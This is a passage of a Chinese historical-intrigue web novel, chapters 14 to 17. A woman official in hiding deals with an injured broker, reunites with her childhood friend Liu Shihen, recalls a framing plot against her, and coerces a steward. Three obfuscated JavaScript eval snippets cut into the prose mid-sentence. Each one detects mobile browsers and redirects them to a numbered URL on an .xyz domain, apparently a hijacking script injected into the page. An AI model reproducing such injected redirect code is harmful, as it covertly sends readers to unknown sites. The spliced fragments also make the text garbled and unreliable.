“我既可将你送入牢狱，亦可以将你赎出，你如今，除听我之命，别无他选。” “你已然，连死路一条皆未有。” 道出原委后，水断栩以为牙婆神情会有所变，可未有。 “你莫非就是……寄住在国公府的寡妇？” “你竟如此口不择言？我方才就应杀了你！” “且慢。” 她按住一旁嗔怒的游乡，徐徐上前，将手放于牙婆伤口处，下一瞬，嚎叫声复起。 “你是如何得知此事？说。” “今日……我被赎出后，在市肆有所耳闻，他们道祝国公府来了个亲戚是寡妇……奴家只是……斗胆揣测。” 市肆？自己在国公府寄人篱下一事是如何传出？她分明自问安第一日，便求陶氏将此事秘而不露。 “娘子，奴婢寻到一游方铃医！” 玉盘声音搅了寂然气韵，水断栩先是解开绳索，再转首看去。 只见一手持虎撑，肩背药囊的女子入宅子。 待看清女子面容时，水断栩甚觉目熟，二人对视良久，她终是忆起眼前何人。 “柳诗痕？” 14. 言听计从 水断栩惊诧开口，眼前人与脑海中某个身影重叠，渐渐合为一处，适才惊觉为同一人。 那女子闻言亦是怔然，眸光落在水断栩面容上，似是要寻出蛛丝马迹来，许是瞧不真切，遂徐徐上前。 “水断栩？” 待女子开口，水断栩便知自己未有认错，此人確是在堇字时的总角之交，柳诗痕。 二人他处重逢，昔年回忆、重逢之喜霎时间涌上心间，柳诗痕不顾虎撑作响，疾步向她走来。 “先治伤者。” 她拦下了还欲靠近的柳诗痕，转眸望向牙婆。 厅堂血腥味弥漫着，柳诗痕见状，顿时敛容屏气，并未问来龙去脉，卸下药囊为其医治着。 趁此期间，水断栩示意游乡衔尾相随，二人来至厅堂外。 “为何娘子要救下如此恶贯满盈之人？为何要将她赎出？为何要遣郎中为其医治？为何？” 她还未启齿，游乡便将自己疑惑、不解、不甘之处统统问询出，若非有恩情所隔，游乡怕是要握住她双臂，再疾声质问着。 水断栩唇瓣翕张，她欲将自己计谋全盘托出，好慰藉游乡此时愤愤不平之心，可愈是如此，便显得自己愈加自私。 遂她只得先问询出仇恨所在，才能出言安抚。 “游乡，你……与这牙婆……此前有何仇怨？你方来京城未有多久，怎会与她结怨？” 经她一问询，游乡终是道出原委来。 原是在游乡初来乍到京城之时，曾有两三女子来救济于她，她们予些吃食，予些衣物，一连便是几日，几人亦渐渐熟络起来。 可寻常一日，游乡于原处候着她们，候了整整一日，皆不见几人踪影。 起初，游乡只以为她们是有要事在身，毕竟彼时是芳春时，主家忙碌需人手。 可她却候来几人身死的讯息，几番探问后，才得知，竟是采买时听信这牙婆一面之词，将布料买回，却不料牙婆以次充好，布料一经采买后，便褪色了。 几人遂临采买亏空之责，予了杖刑，当场毙命。 宅邸中三处无名坟墓，便是为她们而设。 游乡此一边道明来龙去脉，彼一边泣下沾襟，新衣裳未穿多久，此时已被泪水打湿。 水断栩闻言，掏出罗帕，擡手为其拭泪，她擦拭着，罗帕席卷着面颊，却抵不住泪水汩汩涌出。 心中的原本计谋已然更改，若只是让她终生不得回京，属实是罚不当罪，高举轻放。 水断栩心中犹豫着如何启齿安抚，耳畔旁是牙婆嚎叫声，此催促着她尽快道来。 “游乡，我知晓我们相识时日甚短，此问过于唐突，可……” “娘子若要问，那便问罢，奴家定如实相告。” 游乡却是出乎意料地信任自己，见此，她亦不再扭捏作态。 “你……信我吗？” “我信娘子。” 声落，她是携着忐忑，本以为要良久才可候来回应，可何人料得，游乡几近脱口而出，未有一丝犹豫。 此回，又该是水断栩不解了。 她以为，信任是世间难以付之之物，若要付之，原因有二，一是日久见人心【注1】，好比玉盘，多年相随，才推心置腹，赤诚相待。二是屡屡相帮，好比祝见粼，而后者未经岁月验明，她所做亦只是不怀疑。 此番话问出，是为令游乡宽心些，若她信自己，那水断栩便按计谋行。 可游乡回应地径遂，倒是令她脱口而出问询道。 “为何？” “阿姐从小便训诲我，世间行事总有个缘由，断无无缘无故之事，娘子既于我有恩，娘子关乎我的所言所举，定是有缘由。故，我信娘子。” 水断栩闻言沉吟着，忖度着此番话。 世上断无无缘无故之事…… “我倒想，见见你阿姐了。” 说罢，跫音起，柳诗痕走近二人，启齿道。 “已敷上三七粉，亦用布条包扎止血，可仍需将养几日。” 话尽，可她仍是欲言又止的模样，似是有惑却不知如何宣之于口。 水断栩见状，知晓她有诸多困惑欲问询。 为何自己身在此处？自己离了堇字后遭遇了什么？为何此牙婆奄奄一息在此？究竟发生了何？ 纵使一陌生之人，见此情此景亦会生出困惑，何况是曾有总角之谊的柳诗痕。 “其中干系复杂，三言两语道不明，我此时在京城，是因投奔了国公府，此人恶贯满盈，方才出狱。” 分明柳诗痕还未启齿，她却好似洞悉了柳诗痕心中所想所惑，将应答一并道出，心中则在暗自揣测着。 水断栩脑海中设言设境，柳诗痕会如何回答自己此番话。 一境，柳诗痕闻言，粲然一笑，开口道：“从中干系利害，若你不急离开这，大可同我细细说来。” 毕竟，从前这丫头，若是自己有所隐瞒，定要刨根问底，不问出所以然不罢休。 二境，柳诗痕听罢，垂下眸抚着手中布条，道：“挟仇报复？此举可是要从严惩处。” 出手相助或许是因医者仁心，或许是因昔日情谊，此举，水断栩铭感五内，可大义灭亲亦是可为之举。 此两境，无论应证了何，水断栩统统接受，因如何抉择，自有道理。 眸光经在柳诗痕的唇上、面颊……终至落在眼眸，她欲看清这双眸中，蕴含着什么情愫，漠然？还是忻然？ 可二者皆未，设之两境亦皆未应证。 柳诗痕闻言，抬手为她理着发簪，继而眸光同样落在她双眸。 二人四目相对，柳诗痕启齿，声音清朗悦耳。 “此去经年，别来无恙？” 水断栩设的境，不攻自破。 眸光相接时，羞赧与忻然相碰相较，她溃不成军。 只此两句，不知是或不是看出她神情中蕴含着的情愫，柳诗痕回身一转，继而走向药囊处整理着。 而水断栩的思绪，被勾入脑海中，勾入回忆里。 长祚四十五年。 彼时，水断栩已然适布政使司之差事，每日巡视粮仓、驿站，公文批阅，虽每日寅时起身，但时日一长倒也习贯【注2】。 日常起居上，身旁亦有玉盘这贴身女使，与叹秋这随行护卫，不是过得十分滋润，倒也绰绰有余。 可转机，却在寻常一日。 那日，她散衙得比往日早了些，鬼使神差地，并未回分守道治所邸，而是去衙署附近的宅邸，去拜谒左参政。 玉盘并不在此，叹秋亦因病留府将养，故她独身一人前往。 司阍先是言明参政不在，领她至门房，再是怕怠慢了她，引她去书斋，途中还未至书斋时，司阍却因腹中绞痛，要先行告退。 “无碍。” 念着不远处便是书斋，亦不用领着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955521|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水断栩摆摆手，司阍见状，忙不迭捂着小腹疾行而去。 那日，水断栩本该如往常般，大步流星朝书斋而去，可许是冥冥之中上苍相助，她徐徐前进着。 “若此事败露，可是要掉脑袋的！” 走近书斋时，忽地有声音传出，因周遭只水断栩一人，且未出声，故她足以听清。 败露？掉脑袋？ 她虽不解，但仍敛气屏息地听着，只是这声音……怎地如此耳熟？ 还未忖度，又一道声音传出，阻断了思绪。 “这有何难办？届时……你将一切推至水弱缕身上，你可是他随行护卫，衙署之人皆瞧见，你常常相随其左右，故，你为人证，是极好的。” 此声音实属陌生，并非是左参政，水断栩一时间分辨不出声源何人。 可从此番话，得出惊天动地之讯息。 水弱缕为她在绽翩所用之名，亦是她兄长之字，足以确信之事便是，有人要加害于自己。 可随之而来的讯息，实属事出不意，令她目乱睛迷。 随行护卫？常相随其左右？ 皆指向同一人，即叹秋。 其实，他原本是一家丁，算是被水断栩出财雇佣为护卫，算算年头，竟是从水断栩任职头一年始，便相随左右。 左参议本是不应有护卫，出行该是衙役相随，可水断栩当初闻叹秋家中贫寒凄苦，又见此人品行尚可，遂动了恻隐之心。 这五年，水断栩因此事受人诟病，讽她独一无二，与众不同。 这五年，耳畔每每有此质疑讥讽声传来时，她皆会力排众议，固执己见。 一来是恻隐之心，二来是，水断栩寻不出由头去革除叹秋。 可何人料得，五年，竟在身旁养了只，随时会反扑主人的恶犬！ 水断栩当即用双手捂住口，不让自己发出一丝声音，她不知自己是如何走出宅邸，可总归记着，要在司阍前竭力镇定下来。 故当司阍问起时，她言语间彰显着一切如常。 “不知水大人缘何离了书斋？大人许是在回来途中。” “不必，本官倏然念起还有旁要事，便不等候了。” “恭送水大人，愿水大人一路顺遂。” 水断栩当时只顾着疾行，并未过多留意，殊不知，此番话是司阍于世间仅存的寥寥数语。 当夜，叹秋回至宅中，却来去匆匆，不过一会儿，便私自出了宅邸。 彼时大璞起了战事，粮草、被服、饷械等皆需途径绽翩，水断栩隐隐揣测出，他们要做出何等大事，又将往自己身上泼何脏水。 可此事，竟极其荒谬地完局。 还未等来叹秋回宅，却先迎来他失踪讯息，继而荒谬地一连许多日风平浪静。 此间水断栩并未坐以待毙，若叹秋是栽赃自己之人证，那铲除此人，人证与威胁许是不复存在。 遂她暗中遣衙役去寻觅着其身影，寻来觅去，竟迎来其死讯。 可荒谬之处，远远未曾停止。 据《大璞录》所记，长祚四十五年，战事不休，粮道中绝，饷银被贪吏，即布政使司左参政所侵！帝大怒，命有司查出同党，一并严惩不贷！ 左参政被满门抄斩，连带司阍，涉事之人，连同近日去过左参政宅邸中人，一并列为同党。 按理，来访需登记在门房册子上。 可水断栩，却逃过一劫。 15. 揣度 虽道逃过一劫，但亦仅仅是护住了命。 “施入年案”始，牵涉一些所谓的同党，彼时，人人避之不及，望风而逃。 拜谒过施入年之人亦遭牵连，莫说身为同僚的水断栩。 解送京师前夜，她身着绯袍，还未换上赭色囚衣，青丝凌乱，蜷缩在牢房一角，阖眸忖度着自己命运。 狱中时不时传来叹息声、嚅嗫声、隐隐啜泣声，毕竟结党营私罪名一旦成立，便是要掉脑袋的。 “冤枉啊！小的只一介小厮，何能关乎克扣军饷一事？此事与施大人有干系，惩处他便可，何须牵连无辜！” 忽地一人疾呼，伴着呼天抢地之哭号，泣下沾襟地为自己辩解着。 “嗒嗒嗒。” 跫音起，狱卒阔步从水断栩眼前经过，继而张言道。 “你的意思，是在质疑圣意裁决？藐视圣上，实属该死！再者，施大人？圣上早已将其罢黜，竟还拥?！我看你，便是施入年同党！” 说罢，狱卒持着铜匙，随着“吱嘎吱嘎”声，门开，继而传来惨叫声。 “我不是同党……不……” 嚎叫声、争辩声渐渐淡去，随之是脚镣拖行于地传来的“欻欻”声。 “水大人。” 一波止，一波复起，狱卒再度掏出铜匙，随着门开的，是声至。 水断栩闻言，手借力着丈八墙徐徐起身，静候着下文。 “水大人，您可离开了。” 不仅仅是水断栩，布政司右参政、布政司右参议亦一并释放。 直至离开牢狱，行在回宅途中，水断栩仍是感到不可置信，恍如隔世。 而后的《大璞各迹》中亦是提及施入年一事。 布政司左参政，姓施名兼时字入年，性寡言少语，长祚三十六年，任布政使司左参政一职，在任无显绩，因“监守道”，即克扣军饷，处以凌迟，家中男丁凡年满十六者，一同处死，女眷则没入奴籍。 闻施入年膝下仅有一女，事发时不过将将豆蔻年华，算算年岁，亦已及笄，怜被押送进京，充入权贵家中为奴。 此案，以同党头颅落地与布政使被贬黜告终。 关乎此案，疑点重重，若只论水断栩拜谒那日，司阍为何相助自己？门房册子究竟写了何人姓名？是门房册，还是夺命册？ 书斋那日，同叹秋密谋之人又是何人？ 疑点甚多，可并未能宣之于口，因圣上已结此案，若有人心存异议，便是怀疑圣意决断，故不了了之。 事发未有两年，山雨涝灾起，遣去进京的二人皆离奇身死。 而这二人，恰是布政司右参政与右参议。 遣去的第三人，恰是左参议水断栩自己。 而她自己，亦“离奇身死”。 若一切皆是偶然，怕是难以令人信服。 此幕后之人其心昭然若揭，不准释放一事便是其推波助澜，一手促成。 先是假意予他们一线生机，再寻觅时机将三人铲除，以解心头之患，让布政司成为其掌中之物。 如此，布政使被罢黜一事亦可说通。 两事明晃晃存着千丝万缕之联系，可以水断栩一人之力，实属无法拨丝见明。 故她此番进京投奔国公府，一为韬光养晦，二为寻一同袍，或是一趁手之刃。 长祚四十六年事暂且揭过，四十五年之事还未完。 若论长祚四十五年，有哪一日令水断栩刻骨铭心，应是得见叹秋尸首之日。 自“施入年案”后，除有劫后余生之感，便是对叹秋背叛的怨怼，她为此切齿拊心，恨海难填。 五年，五年相随左右，竟敌不过他人以利相诱，如此轻易背弃旧主，水断栩不禁疑惑，平日之叹秋，与那日书斋之叹秋，是否为同一人。 亦或是，最初，叹秋就是别有用心，蛰伏在她身旁五年，继而择一日显出本意来。 究竟是因何，水断栩不得而知，亦死无对证。 她只知晓，名为信任之赠礼，自己断不敢再交予他人，此举虽是以偏概全，可于她自己，却是万全之策。 经此一事，于水断栩是创巨痛深，创痍未瘳。 虽是此恨绵绵，她却在见到叹秋尸首之时，仍是不免惊诧。 叹秋死相极其惨烈，屠肠决眼，糜躯碎首，何人所见，皆会骇然噤息、悚气吞声。 “大人，这……要怎么处置？” 白布掀开，露出真容的刹那，玉盘当即惊呼，随即将自己双眼捂得严严实实，不漏一丝缝隙，战战兢兢地问询着。 “抛去义冢，若有人为其收尸，告知于我。” 话落，她眼前一切猝然远去，玉盘、叹秋的尸身、所有所有…… 水断栩抬手欲捉住，可周遭皆从其指缝中流走，她无能为力，只能见景色徐徐变着，终至化为一荒废宅子。 “娘子，娘子？您如何了？可是身子觉着不适？” “娘子，您可别吓我们啊！柳姑娘，您快来瞧瞧！” 谙响一道道传至耳畔，水断栩经一回回唤着，渐渐目明。 入望便是玉盘同游乡二人焦灼的面容，二人口中絮絮叨叨，而柳诗痕在药囊中翻找着，自己则是被安置在椅上。 “我无碍，方才只是……只是一时怔然。” “娘子您无事便好！不过……眼下如何收拾残局？” 水断栩闻言，起身环视周遭，血腥味仍旧挥之不去，莫论厅堂中残存血迹了，而几人衣裳，亦多多少少沾上了些，游乡所配的匕首上皆是殷红。 “对不住娘子，对不住玉盘姑娘，我……我此回太过冲动行事了。” 游乡垂下首，竭力将自己藏匿，来缓些愧疚。 “此时多说无益，还是想法子应对吧。” 此事棘手起来，牙婆又该如何安置？水断栩可未有如此多银子为其置办一处宅子，银子可是要物尽其用，待牙婆身死，这宅子留有何用？ 牙婆还需将养身子，还需防她妄言妄语，无中生有。 水断栩竭力稳住心神，她知晓，若自己亦乱了方寸，她们会愈加焦灼。 “我此番进京，缘由有一便是回来投奔爹娘，自成了铃医，便许久未见他们，诸位大可前去寒舍。牙婆一事亦不用劳神费心，大可接去舍下，待何时有需，可来通传一声。此匕首……不知迎叶姑娘可愿赠予我？” 一侧的柳诗痕倏然开口，将每一事处置妥当，霎时间解了水断栩燃眉之急。 她大喜过望之余，不免惭愧，自己实属是小人之心度君子之腹【注1】。 心中纵使还有隐隐忧心，亦不攻自破。 “这天色不早，还得尽快回府，事不宜迟！” 众人先是收拾了事发处，一行人继而走出荒废宅子，正准行去柳家，水断栩与柳诗痕同行，玉盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955522|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则在末尾。 游乡搀扶着牙婆，行至中间，此一只手扶着腰，彼一只手握住其臂，徐徐前行着。 水断栩念起春月娘子亦住在东水巷，心中暗自祈求勿要遇上，一旦遇上，诸多疑问将问询出，自己亦难以解释。 许是上苍听去，直至出了东水巷，春月影子皆未出现。 一行人来至马车旁，写笺正侍立一旁，静候着，纵使见到牙婆和柳诗痕前来，亦无所动，只垂下首，搬来木凳。 几人踏上木凳，继而合力将牙婆挪上马车内，待众人坐定，水断栩方开口，吩咐着写笺去往何处。 方才途中，她已获悉，柳诗痕其父柳午绻，现任户部给事中一职，此时，马车正往其私宅而去。 驷内，玉盘正热络地与柳诗痕交谈着，叽叽喳喳声同辘辘声一并飘进她耳中，水断栩不禁转过首。 “妟妟【注2】？你身子不适吗？” 水断栩闻言，本阖着眸，猝然睁开，她已然许久许久都未曾听过此称。 妟妟一称，在堇字时，只有兄长和柳诗痕会如此唤她，待时过境迁，物是人非，便无人再唤她一声“妟妟”。 水断栩仍记着，兄长头一回唤她“妟妟”时，所说言语。 “妟妟为日出清明之意，我们妟妟……” “妟妟？妟妟？” 回忆被迫止住，抬眸，柳诗痕已将手放于自己臂，正轻轻晃着。 “我无碍，秋声，经此久别，你看起来……倒是气度沉稳了很多。” 她有意说出柳诗痕小字，意为，自己亦记得昔日之谊。 “我倒是，许久未闻秋声一称，本志在游历四方、悬壶济世，可这念想与今世之事相较，总是差强人意，故，去投奔爹娘了。” “妟妟，你倒是……变了许多。” 柳诗痕抬手，却悬在空中，许是欲触碰其青丝，却不知为何迟迟未落下。 “我……” “娘子，到了。” 写笺声至，失时止住了水断栩所言，几人下车，入目便是青砖黛瓦。 柳诗痕快步上前，手握着磨得发亮的铜环，叩着门。 眼下已是桑榆暮景，她见大门良久未开，复叩门，铜环与大门的碰撞声，荡在清气中。 “何人！天色不早，还请……” “爹要是赶我走，那我可真走了。” 水断栩所见，便是浆洗至发白的青袍一角，眸光上移，便是几缕青须悬于下颌，男子正眉头紧蹙着，想来此人便是柳午绻了。 她见柳午绻久久不移目，继而倏然出声道：“碧玉！碧玉！我莫非老眼昏花了……你快瞧瞧……” 跫音起，一娘子闻声而至，身着素色衣裳，其上花鸟图案倒很是相配，娘子眼眶霎时蓄起眼泪，当即将柳诗痕拥入怀中。 一家人相拥着，皆忍着不哭嚎出声，可泪却簌簌落下，沾湿衣襟。 “爹，娘，女儿回来了。” “回来就好……回来就好……” 水断栩见此一幕，眼前渐渐模糊起来，她念起自己的爹娘了。 兄长在世时，爹娘好歹明面上一视同仁，关切兄长时，亦能念起她来，可兄长离世时，她仍记得娘是如何斥责自己，如何将一切一切怨在自己身上。 斥责话语，她有一句，时至今日仍记忆犹新。 “为何！为何死的是缕儿！为何不是你！” 16. 罗衣相拂 回忆携着痛楚，略有酸涩，如裂帛，在心间渐渐化为乌有。 垂下眸，脑海中回忆挥之不去，勾来苦涩。抬起眸，是一家人久别重逢之情景，重逢之喜正洋溢着，正渲染着。 横竖皆是避之不及，皆是无力阻挡。 故，她直视。 “兄长之死亦非我愿，可已无力回天，此飞来横祸，不仅是娘失去了骨肉至亲！我于兄长，一直是心慕手追，如今我既已换上绯袍，此后兄长之愿，便由我替他行。” 水断栩阖眸，此番话压抑在心间许久，终至是厚积薄发。 事到如今，她仍是未翻旧账来一一指责，她自知翻出旧帐，爹娘亦会矢口否认，甚至颠倒黑白，既明知是无用之举，缘何道出再刺痛自己一回。 故，她只就事论事。 脑海中娘的面容凝滞，唇瓣翕张，欲言又止，水断栩直视其双眸，试图从怔然与嗔怒中寻个间隙，看是否能容旁的情愫扎根。 可事实予她当头一棒，讥讽她痴心妄想。 水断栩睁开双眸，娘的身影已然不侵脑海，方才那些言语，不复存在。 她转眸，见玉盘泫然欲泣，抬手轻抚着。 慰藉着玉盘，亦慰藉着自己。 “好了，我可是有要事在身，爹、娘，可还记得妟妟？便是在堇字时，那粉雕玉琢的小娃娃，喏，马车旁身着藕色衣裳的，便是了。” 一家人暂且纵了手，柳父柳母闻言，眸光齐齐落在水断栩身上，连同因负伤正虚弱呢喃的牙婆。 “伯父、伯母。” 水断栩款款上前，同柳父柳母寒暄了几句，继而道明了来意。 柳父柳母闻言面面相觑，纵使水断栩极其诚恳相求。 毕竟万一是逃奴罪奴，私藏可是要论罪的。 柳诗痕许是亦瞧出他们面露难色，遂开口道。 “爹、娘，那牙婆既是伤者，怎可见死不救？便让她寄住在家中一些时日，待她痊愈，如何？眼下正是虚弱时，若是再不救，便晚了！” “伯父伯母大可宽心，此人身世清白，只我无法将其带回，故来叨扰相求，待此牙婆一痊愈，我即刻登门接人。” 水断栩再度解释着，此一言实属缓了些他们顾虑，柳父眉间沟壑皆浅了些。 再因有柳诗痕相助，柳父柳母终至颔首，牙婆终是得以寄止柳家。 关乎牙婆的疑虑暂且止住，柳父柳母眸光继而落在几人衣裳携着的血迹上。 “声儿，你衣袖处这血迹是？” “妟妟今日许是因暑气所致，这鼻衄竟沾到我们几人衣裳上，还需清洗一番。” 柳诗痕三言两语将其搪塞了去，继而几人来至宅内。 她先是取来油膏，再端来卵黄液，将二者合为一物，涂抹在水断栩身上沾有血迹处，再取来胡芦菔，将其捣碎成汁拌盐，亦涂抹在玉盘与游乡衣裳血迹处。 “如此，再……” 柳诗痕做完这一切后，变戏法般掏出三个香囊，递与三人手中。 水断栩望着掌中静躺的香囊，香气扑鼻，可掩盖些气味。 方才马车中熏着香，几人身上血腥味已被掩盖不少。 “多谢。” 水断栩指尖摩挲着香囊，低语着，抬眸，落入柳诗痕含笑的双眸。 双眸中，映着她的身影。 “多谢柳姑娘！” “多谢柳姑娘。” 待血迹褪去，玉盘与游乡亦道谢，二人异口同声。 三人与柳诗痕告别，继而出了柳家，方踏出门槛，忽地廉纤晚雨至，不过几瞬，变成雴霫。 三人根本避之不及，衣裳纷纷淋湿，方才清洗之处亦被雨打湿，倒是白费气力清洗。 驷内，水断栩直直望向被浸湿的鞋履，湿薺薺之感令人心闷。 “娘子，奴婢有一言，在道来前，还望娘子恕罪。” 玉盘倏然出声，许是瞧出了她正愁绪笼罩着。 “无妨，大可直言。” “娘子，暗格出，有一鞋囊，奴婢在驷内扑地时见到，并未打开瞧瞧里面是何……” 玉盘此一边言语着，彼一边头愈垂愈低，声音亦是如此。 “无碍，不必忧心。” 水断栩从暗格处取出鞋囊，入目是一缂丝弓鞋，青鸾翘头，湖蓝色缎面，绣着金丝。 疑惑之余，她心中稍稍慨叹，此鞋履倒是糟/蹋了，待下车，浸在雨中，沦落成与原先鞋履一样命运。 但，自己所感才是最为重要，与其疼惜一双鞋履，倒不如忧心自己。 穿上后，水断栩惊觉，竟是意外合脚，好似为她量身定做一般。 辘辘声止，玉盘与游乡先行下车，纵使她已言明不必在马车旁候着，二人却置若罔闻，仍旧在雨中不挪步子。 “你们……” 水断栩口中正咕哝着，下车时，却感知不到雴霫，转眸望去，一只骨节分明的手正持着油纸伞，为自己遮挡着风雨。 “表兄？” 她讶异祝见粼的出现，他缘何途经此处？那游乡入府…… “雨势愈急，表妹还是先回府，有何话，回府再言明亦不迟。” 水断栩闻言，觉得游乡一事过会言说亦可，遂提起衣袂，踏上木凳，不知已露出那抹湖蓝色。 行了几步，雨又至其身，水断栩此一边挡着脑袋却走，彼一边回首望向祝见粼。 只见他耳垂和面颊皆染上诡异的绯红，双眸垂下，直直望向一处，岿然不动，稳稳地持着油纸伞。 “咳咳咳，世子？世子？” 一旁寄思见状，将手中油纸伞递与玉盘，继而行至祝见粼身侧，在耳畔轻唤着。 “世子？世子！” 经寄思黾勉劬劳下，祝见粼终是回过神，他抬眸，晓悟发生何事时，忙不迭将油纸伞朝水断栩方位移了移，继而轻咳几声，开口道。 “方才……方才……无事，快回府罢。” 水断栩见其涨红了脸，遂并未追问，一来她不愿强人所难，二来她心中揣事，祝见粼缘何如此，想来自有道理，自己不愿知晓。 途中，她提及将游乡进府为雇工一事道来。 “表兄，迎叶確为良民，且她是自愿入府，自愿签订契约，绝不会担上蓄奴一事。” 说罢，祝见粼倏然止步，侧过身望向水断栩。 她见状心中忐忑着，却未垂下眸，强装镇定与之对视，候着他启齿。 四目相对间，她好似回到初见时，那时檐铃作响，如雷鼓。 此时心动怦然，竟比那时还响亮。 “既是当武婢，那，她可以保护你吗？” 水断栩闻言，不由一怔，可话还未完。 “若是迎叶姑娘可以护你周全，进府倒是无妨。明日我便去寻赵管家。” 见他轻易应允，水断栩一番措辞竟无处施展，只可止于口，藏于心。 无话时她才惊觉，二人正同在油纸伞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955523|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，怪道祝见粼耳垂愈发红了。 水断栩双手交叠着，玉弯隔着布料，与祝见粼衣袖触碰着，竟比雨落青砖声还响。 处于这一小片天地中，仅有他们二人，鼻息喷洒着，心怦然着。 不知过了多久，终至见到了“青塘苑”三字。 “表兄，到青塘苑了，今日之事，多谢表兄了。” “无碍，表妹还是快些回屋，勿要着了风寒。” 守门婆子见状，连忙令粗使女使取来油纸伞，除向二位主子问好外，是一句多余之语不敢说。 粗使女使举着油纸伞，将水断栩身子罩住，继而送至垂花门。 几人皆未留意到，祝见粼执握的手，愈加用力，亦垂下眸，应在回味什么。 回至屋中，待沐浴后，水断栩正用棉布裹着鞋履，继而塞入宣纸。 “如此，再阴干，应是不会……不会有损罢。” “娘子！此等事交与奴婢便好，何须亲自来？” 正自言自语着，谁料玉盘见此情形，急匆匆行至她眼前，絮絮叨叨始。 “你的手才好了些，断不可令你亲力亲为，好了，该歇息了，记住，明日去将刘嬷嬷唤来。” 好说歹说，才将玉盘赶至耳房。 躺于榻上，水断栩脑海中竟挥之不去那抹湖蓝色，疑惑埋在心间，究竟是何人放置暗格中…… “罢了罢了，左右于我无害无利，待阴干后，我再置于暗格处。” 辗转反侧，试图一瞑不视，却仍是睁开双眸，直望着纱幔低垂。 她又念起今日在油纸伞下时，祝见粼面颊潮红。 “究竟为何……怎能面赤至此？好似桃花面。” 转首，望向窗棂，望到日升月落，望到晨光熹微，望到刘嬷嬷进屋轻唤着。 “娘子……您莫非是一夜未眠？” 刘嬷嬷方近床榻，便见榻上之人睁着双眸，眼底略有乌青。 “只醒得早罢了，刘嬷嬷此番前来，所谓何事？” 水断栩起身坐于榻上，心中疑惑着，刘嬷嬷今日倒是怪异，若非要事，缘何东方欲晓时便来？ “娘子竟不知情？可玉盘分明说，是娘子您寻老奴有要事相商。” “是我糊涂了，”水断栩方才恍然大悟，原是此事，继而开口道，“关乎采买一事，若需牙婆，我这倒有可荐之人，不知刘嬷嬷可愿一见？” 如她所料般，刘嬷嬷面露难色，推搪着不肯应下。 见刘嬷嬷百般推辞，水断栩撇嘴道：“既如此，我亦不强求，只是……妆奁中无故失了好些首饰，劳烦刘嬷嬷将其寻回，我想，相较起来，刘嬷嬷应是比我更为清楚。” “竟有此事？娘子宽心，老奴定将此事查个水落石出，好予娘子个交代。” 见刘嬷嬷信誓旦旦，义正辞严之态，水断栩起身，走至她眼前。 “是了，予我交代，我瞧着，刘嬷嬷您倒更似青塘苑的主子，既然姨母如今已痊愈，我问安时便提上一句，将这青塘苑交与你，如何？” “扑通！” 话落，刘嬷嬷当即伏于地，口中不断求情着。 “娘子明鉴！老奴并非此心！娘子自然是老奴的主子，老奴绝无二心，亦无逾矩之心呐！” 水断栩见状，俯下身，抬手理着刘嬷嬷发簪。 她将发簪拔出，端详了一会，随着簪子回至青丝的，是声至。 “那便按我所说，用我所荐的牙婆。” 17. 两楹斗谋 “是……老奴领命。” 水断栩见计成，垂下眼睫，显出居高临下之态，继而启齿道。 “勿要耽搁，起来罢。” “是，老奴……感念娘子宽恕。” 刘嬷嬷不忘言谢她赦宥，踉跄起身后，跌跌撞撞朝屋外而去，正巧遇上前来服侍的玉盘。 “刘嬷嬷，你……” 以水断栩所见之情形，刘嬷嬷对玉盘所言置之不理，并未付之一言，甚至未抬眸，便扬长而去了。 “娘子？此事怎生？奴婢不知晓是何处得罪刘嬷嬷了。” 见玉盘翻唇撅嘴着，水断栩便将方才之事告知于她。 “什么！娘子您……您……” 玉盘本将惊呼出声，却掩了口，继而回身一转，阖扉扃牖，待確周遭无人，适才匆匆走至她身旁。 “娘子且容奴婢多言，牙婆身子如今未愈，娘子便将其并入计谋中，此举，实属心急了些。” 水断栩却步至榻上，待坐定，才漫不经心地开口道。 “此牙婆非彼牙婆，我可从未说过，我只用一个人。” “什么？娘子您意为……” 见玉盘面露疑色，柳眉微蹙，便知確是不解。 水断栩计想着，待事成后再道明，毕竟，事以密成，言以泄败。【注1】 “只四字，欲、擒、故、纵。” 话落，户牖洞开，风顺势溜进，将二人眸光引去，这一引，竟悄然过了几日。 自刘嬷嬷离去始，水断栩便卧榻不起，对外人一律声称，是着了风寒。 此举并非掩人耳目，此病来势汹汹，一连几日，水断栩言语时皆气若游丝，面色更是惨白如纸，喝药时只觉啜菽饮水，茹荼咽蘖。 几日间，水断栩并非杜门却扫，高卧东山，对青塘苑外之事亦是有所耳闻，闻她所荐牙婆丝析发解，甚至丹漆随梦，令章妈妈惬其素心，欢忭无斁，于众人亦是允协舆情。念及此，刘嬷嬷应是无所异议了。 有所耳闻并非仅此一事，据玉盘所言，途经市肆时，竟从说书人口中竟听到水断栩之事迹。 